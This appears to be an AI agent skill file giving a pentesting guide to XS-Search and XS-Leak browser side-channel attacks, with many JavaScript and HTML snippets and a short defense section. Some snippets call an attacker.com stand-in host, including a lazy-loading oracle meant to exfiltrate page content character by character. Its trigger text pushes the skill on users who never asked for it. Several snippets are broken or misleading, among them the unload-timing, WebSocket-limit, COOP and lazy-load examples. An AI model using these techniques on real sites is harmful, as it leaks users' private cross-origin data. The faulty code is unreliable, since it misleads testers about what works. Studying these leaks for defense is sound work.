Hacktricks-skills xs-search-leaks

Cross-origin information extraction using XS-Search and XS-Leak techniques. Use this skill when analyzing web applications for side-channel vulnerabilities, testing for information leakage through timing attacks, event handlers, performance APIs, or other browser-based leak techniques. Trigger when users mention XS-Search, XS-Leaks, cross-origin leaks, timing attacks, side-channel attacks, or need to extract information from cross-origin resources. Make sure to use this skill whenever the user is doing web pentesting and needs to extract cross-origin information, even if they don't explicitly mention XS-Search.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/SKILL.MD
source content

XS-Search/XS-Leaks Skill

A comprehensive guide for extracting cross-origin information using side-channel vulnerabilities.

Quick Start

When you need to extract information from a cross-origin resource, follow this workflow:

  1. Identify the target - What information do you need to extract?
  2. Choose an inclusion method - How will you load the target resource?
  3. Select a leak technique - What observable difference can you measure?
  4. Execute and measure - Run the attack and analyze results
  5. Iterate - Refine based on what you learn

Core Concepts

Attack Components

ComponentDescription
Vulnerable WebTarget website from which information is extracted
Attacker's WebMalicious site hosting the exploit
Inclusion MethodTechnique to incorporate target into attacker's page
Leak TechniqueMethod to discern state differences
StatesTwo conditions the attacker aims to distinguish
Detectable DifferencesObservable variations used for inference

Detectable Differences

  • Status Code - HTTP response codes (2xx, 4xx, 5xx)
  • API Usage - Whether specific Web APIs are used
  • Redirects - Navigation to different pages
  • Page Content - Response body variations, embedded frame counts, image sizes
  • HTTP Headers - X-Frame-Options, Content-Disposition, CORP, etc.
  • Timing - Time disparities between states

Inclusion Methods

HTML Elements

Use HTML elements for cross-origin resource inclusion:

<!-- Stylesheets -->
<link rel="stylesheet" href="https://target.com/style.css">

<!-- Images -->
<img src="https://target.com/image.png">

<!-- Scripts -->
<script src="https://target.com/script.js"></script>

<!-- Audio/Video -->
<audio src="https://target.com/audio.mp3"></audio>
<video src="https://target.com/video.mp4"></video>

See HTTPLeaks for a complete list of elements.

Frames

Embed HTML resources directly:

<!-- Basic iframe -->
<iframe src="https://target.com/page.html"></iframe>

<!-- With sandbox (restricts JS execution) -->
<iframe src="https://target.com/page.html" sandbox></iframe>

<!-- Object element -->
<object data="https://target.com/page.html"></object>

<!-- Embed element -->
<embed src="https://target.com/page.html">

If the page lacks framing protection, access via

contentWindow
:

const iframe = document.querySelector('iframe');
const targetWindow = iframe.contentWindow;

Pop-ups

Open resources in new windows:

// Basic window.open
const popup = window.open('https://target.com/page.html');

// Access window handle for interaction
if (popup && !popup.closed) {
  // Can interact following SOP
}

Note: Modern browsers restrict pop-up creation to user actions.

JavaScript Requests

Direct requests with precise control:

// Fetch API
fetch('https://target.com/resource', {
  method: 'GET',
  mode: 'no-cors',
  redirect: 'manual'
});

// XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/resource');
xhr.send();

Leak Techniques

Event Handler Techniques

Onload/Onerror

Detect resource loading success or failure:

// Script tag example
const script = document.createElement('script');
script.onload = () => console.log('Loaded successfully');
script.onerror = () => console.log('Failed to load');
script.src = 'https://target.com/resource.js';
document.head.appendChild(script);

// Image tag example
const img = new Image();
img.onload = () => console.log('Image loaded');
img.onerror = () => console.log('Image failed');
img.src = 'https://target.com/image.png';

Script-less version:

<object data="https://target.com/404">
  <object data="https://attacker.com/?error"></object>
</object>

If target returns 404, the nested object loads.

Onload Timing

Measure request duration:

const startTime = performance.now();
const img = new Image();
img.onload = () => {
  const duration = performance.now() - startTime;
  console.log(`Load time: ${duration}ms`);
};
img.src = 'https://target.com/resource.png';

Unload/Beforeunload Timing

Measure fetch duration using unload events:

const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page.html';

let beforeUnloadTime, unloadTime;

iframe.onload = () => {
  const duration = unloadTime - beforeUnloadTime;
  console.log(`Fetch duration: ${duration}ms`);
};

document.body.appendChild(iframe);

#ID + Error + Onload

Extract information without timing by exploiting hash changes:

const iframe = document.createElement('iframe');
let onLoadCount = 0;

iframe.onload = () => {
  onLoadCount++;
  console.log(`Onload triggered ${onLoadCount} times`);
  // If onload triggers again after hash change, page had error
};

iframe.src = 'https://target.com/page.html#try1';
document.body.appendChild(iframe);

// Change hash to test
setTimeout(() => {
  iframe.contentWindow.location.hash = '#try2';
}, 1000);

Global Limits Techniques

WebSocket API

Detect WebSocket connections by exhausting limits:

let exceptionCount = 0;
const maxWebSockets = 100; // Browser limit varies

for (let i = 0; i < maxWebSockets; i++) {
  try {
    new WebSocket('wss://attacker.com/socket');
  } catch (e) {
    exceptionCount++;
  }
}

console.log(`Target uses ${exceptionCount} WebSocket connections`);

Payment API

Detect payment request usage:

async function checkPaymentAPI() {
  try {
    const payment = new PaymentRequest([]);
    await payment.show();
    payment.abort();
    return false; // No payment active
  } catch (e) {
    return true; // Payment API in use by target
  }
}

Event Loop Timing

Measure execution time via event loop delays:

const times = [];
const iterations = 100;

for (let i = 0; i < iterations; i++) {
  const start = performance.now();
  // Dispatch event that will be processed when pool is empty
  setTimeout(() => {
    const end = performance.now();
    times.push(end - start);
  }, 0);
}

// Analyze delays to infer target execution time

Performance API Techniques

Error Leak

Detect HTTP errors via missing performance entries:

function checkResourceStatus(url) {
  const img = new Image();
  img.src = url;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(url));
    
    if (!found) {
      console.log('Resource returned error (no performance entry)');
    } else {
      console.log('Resource loaded successfully');
    }
  }, 1000);
}

X-Frame Leak

Detect X-Frame-Options header:

function checkXFrameOptions(url) {
  const iframe = document.createElement('iframe');
  iframe.src = url;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(url));
    
    if (!found) {
      console.log('X-Frame-Options header present (blocked)');
    } else {
      console.log('No X-Frame-Options restriction');
    }
  }, 1000);
}

Redirect Detection

Detect redirects via performance API:

function detectRedirect(url) {
  fetch(url, { redirect: 'manual' }).then(response => {
    if (response.type === 'opaqueredirect') {
      console.log('Redirect detected');
    }
  });
  
  // Alternative: check redirectStart timing
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    entries.forEach(entry => {
      if (entry.redirectStart > 0) {
        console.log('Redirect occurred, start time:', entry.redirectStart);
      }
    });
  }, 1000);
}

Cache Detection

Check if resource is cached:

async function checkCache(url) {
  const start = performance.now();
  await fetch(url, { cache: 'default' });
  const duration = performance.now() - start;
  
  if (duration < 50) {
    console.log('Resource likely cached');
  } else {
    console.log('Resource loaded from network');
  }
}

Readable Attributes Techniques

Frame Counting

Count iframes to detect page state:

function countFrames(iframe) {
  return iframe.contentWindow.length;
}

// Monitor for changes
setInterval(() => {
  const count = countFrames(iframe);
  console.log(`Frame count: ${count}`);
}, 1000);

History Length

Detect navigation via history length:

const initialLength = history.length;

// Navigate to target
window.open('https://target.com/page.html');

setTimeout(() => {
  const newLength = history.length;
  if (newLength > initialLength) {
    console.log('Navigation occurred');
  }
}, 1000);

COOP Detection

Detect Cross-Origin Opener Policy:

const popup = window.open('https://target.com/page.html');

if (popup.opener === undefined) {
  console.log('COOP header present');
} else {
  console.log('No COOP restriction');
}

Media Dimensions

Extract media information:

// Image dimensions
const img = new Image();
img.src = 'https://target.com/image.png';
img.onload = () => {
  console.log(`Image: ${img.width}x${img.height}`);
};

// Video dimensions
const video = document.createElement('video');
video.src = 'https://target.com/video.mp4';
video.onloadedmetadata = () => {
  console.log(`Video: ${video.videoWidth}x${video.videoHeight}`);
  console.log(`Duration: ${video.duration}s`);
};

Error Message Techniques

CORS Error

Extract redirect URLs from CORS errors:

fetch('https://target.com/redirect', {
  mode: 'cors'
}).catch(error => {
  // Error message may contain redirect URL
  console.log('CORS error:', error.message);
});

Media Error

Detect status codes via media errors:

const audio = document.createElement('audio');
audio.src = 'https://target.com/resource.mp3';

audio.onerror = () => {
  const error = audio.error;
  const message = error.message;
  
  if (message.includes('DEMUXER_ERROR_COULD_NOT_OPEN') ||
      message.includes('Failed to init decoder')) {
    console.log('Resource loaded successfully (2xx)');
  } else {
    console.log('Resource failed to load');
  }
};

Advanced Techniques

Connection Pool Timing

Exploit socket limits for timing attacks:

async function connectionPoolAttack(targetUrl) {
  const socketLimit = 256;
  const holdRequests = [];
  
  // Occupy 255 sockets
  for (let i = 0; i < socketLimit - 1; i++) {
    holdRequests.push(
      fetch(`https://hold-${i}.attacker.com/hold`, {
        cache: 'no-store'
      })
    );
  }
  
  // Load target on 256th socket
  const targetStart = performance.now();
  await fetch(targetUrl);
  const targetDuration = performance.now() - targetStart;
  
  // 257th request will queue until socket frees
  const queueStart = performance.now();
  await fetch('https://queue.attacker.com/release');
  const queueDuration = performance.now() - queueStart;
  
  console.log(`Target load time: ${targetDuration}ms`);
  console.log(`Queue wait time: ${queueDuration}ms`);
}

CSS Property Leak

Detect styling changes:

function checkCSSProperty(url, selector, property) {
  const link = document.createElement('link');
  link.rel = 'stylesheet';
  link.href = url;
  document.head.appendChild(link);
  
  setTimeout(() => {
    const element = document.querySelector(selector);
    if (element) {
      const style = window.getComputedStyle(element);
      const value = style.getPropertyValue(property);
      console.log(`${property}: ${value}`);
    }
  }, 1000);
}

Image Lazy Loading Oracle

Exfiltrate content character by character:

function lazyLoadOracle(secretPrefix, charToTest) {
  const junk = 'W'.repeat(10000); // Fill viewport
  const testString = secretPrefix + charToTest;
  
  const html = `
    <div style="height: 2000px">${junk}</div>
    <img src="https://attacker.com/oracle?char=${charToTest}" 
         loading="lazy" 
         id="oracle-img">
    <div>${testString}</div>
  `;
  
  // If image loads, char is correct (visible in viewport)
  // If not loaded, char is wrong (below viewport)
}

Defense Recommendations

Server-Side Protections

  1. Set proper headers:

    X-Frame-Options: DENY
    Content-Security-Policy: frame-ancestors 'none'
    Cross-Origin-Opener-Policy: same-origin
    Cross-Origin-Embedder-Policy: require-corp
    
  2. Implement CORS correctly:

    Access-Control-Allow-Origin: https://trusted-domain.com
    # Never use * with credentials
    
  3. Use CORP headers:

    Cross-Origin-Resource-Policy: same-origin
    

Client-Side Protections

  1. Validate and sanitize all inputs
  2. Implement proper error handling (don't leak information in errors)
  3. Use Subresource Integrity (SRI) for external resources
  4. Implement rate limiting to prevent timing attacks
  5. Monitor for unusual request patterns

Testing Checklist

When testing for XS-Leaks:

  • Test with different inclusion methods (iframe, window.open, fetch)
  • Check for timing differences between states
  • Verify event handlers (onload, onerror) trigger correctly
  • Test Performance API for resource entries
  • Check for readable attributes (frame count, history length)
  • Test error message information disclosure
  • Verify CORS and CORP header behavior
  • Test with different browsers (behavior varies)

References

Important Notes

  • Browser behavior varies - Test across multiple browsers
  • Timing attacks are noisy - Run multiple iterations and average results
  • Modern browsers are improving - Some techniques may not work in latest versions
  • Ethical use only - Only test systems you have authorization to assess
  • Document findings - Record which techniques worked for future reference